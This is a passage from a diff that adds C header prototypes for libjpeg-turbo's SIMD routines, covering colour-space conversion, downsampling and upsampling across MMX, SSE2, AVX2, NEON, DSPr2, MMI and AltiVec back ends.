JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +/* YCC --> RGB & extended RGB Colorspace Conversion */ +EXTERN(void) jsimd_ycc_rgb_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_mmx + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +extern const int jconst_ycc_rgb_convert_sse2[]; +EXTERN(void) jsimd_ycc_rgb_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_sse2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +extern const int jconst_ycc_rgb_convert_avx2[]; +EXTERN(void) jsimd_ycc_rgb_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_avx2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +EXTERN(void) jsimd_ycc_rgb_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_rgb565_convert_neon + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +#ifndef NEON_INTRINSICS + +EXTERN(void) jsimd_ycc_extrgb_convert_neon_slowst3 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_neon_slowst3 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +#endif + +EXTERN(void) jsimd_ycc_rgb_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_dspr2 + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +EXTERN(void) jsimd_ycc_rgb_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_mmi + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +EXTERN(void) jsimd_ycc_rgb_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgb_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extrgbx_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgr_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extbgrx_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxbgr_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); +EXTERN(void) jsimd_ycc_extxrgb_convert_altivec + (JDIMENSION out_width, JSAMPIMAGE input_buf, JDIMENSION input_row, + JSAMPARRAY output_buf, int num_rows); + +/* NULL Colorspace Conversion */ +EXTERN(void) jsimd_c_null_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows, int num_components); + +/* h2v1 Downsampling */ +EXTERN(void) jsimd_h2v1_downsample_mmx + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v1_downsample_sse2 + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v1_downsample_avx2 + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v1_downsample_neon + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v1_downsample_dspr2 + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v1_downsample_altivec + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +/* h2v2 Downsampling */ +EXTERN(void) jsimd_h2v2_downsample_mmx + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v2_downsample_sse2 + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v2_downsample_avx2 + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v2_downsample_neon + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v2_downsample_dspr2 + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v2_downsample_mmi + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +EXTERN(void) jsimd_h2v2_downsample_altivec + (JDIMENSION image_width, int max_v_samp_factor, JDIMENSION v_samp_factor, + JDIMENSION width_in_blocks, JSAMPARRAY input_data, JSAMPARRAY output_data); + +/* h2v2 Smooth Downsampling */ +EXTERN(void) jsimd_h2v2_smooth_downsample_dspr2 + (JSAMPARRAY input_data, JSAMPARRAY output_data, JDIMENSION v_samp_factor, + int max_v_samp_factor, int smoothing_factor, JDIMENSION width_in_blocks, + JDIMENSION image_width); + + +/* Upsampling */ +EXTERN(void) jsimd_h2v1_upsample_mmx + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_upsample_mmx + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_upsample_sse2 + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_upsample_sse2 + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_upsample_avx2 + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_upsample_avx2 + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_upsample_neon + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_upsample_neon + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_upsample_dspr2 + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_upsample_dspr2 + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_int_upsample_dspr2 + (UINT8 h_expand, UINT8 v_expand, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr, JDIMENSION output_width, + int max_v_samp_factor); + +EXTERN(void) jsimd_h2v1_upsample_altivec + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_upsample_altivec + (int max_v_samp_factor, JDIMENSION output_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +/* Fancy Upsampling */ +EXTERN(void) jsimd_h2v1_fancy_upsample_mmx + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_mmx + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +extern const int jconst_fancy_upsample_sse2[]; +EXTERN(void) jsimd_h2v1_fancy_upsample_sse2 + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_sse2 + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +extern const int jconst_fancy_upsample_avx2[]; +EXTERN(void) jsimd_h2v1_fancy_upsample_avx2 + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_avx2 + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_fancy_upsample_neon + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_neon + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h1v2_fancy_upsample_neon + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_fancy_upsample_dspr2 + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_dspr2 + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_fancy_upsample_mmi + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_mmi + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +EXTERN(void) jsimd_h2v1_fancy_upsample_altivec + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); +EXTERN(void) jsimd_h2v2_fancy_upsample_altivec + (int max_v_samp_factor, JDIMENSION downsampled_width, JSAMPARRAY input_data, + JSAMPARRAY *output_data_ptr); + +/* Merged Upsampling */ +EXTERN(void) jsimd_h2v1_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxbgr_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v2_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_mmx + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +extern const int jconst_merged_upsample_sse2[]; +EXTERN(void) jsimd_h2v1_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxbgr_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v2_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_sse2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +extern const int jconst_merged_upsample_avx2[]; +EXTERN(void) jsimd_h2v1_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxbgr_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v2_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_avx2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v1_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxbgr_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v2_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_neon + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v1_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) 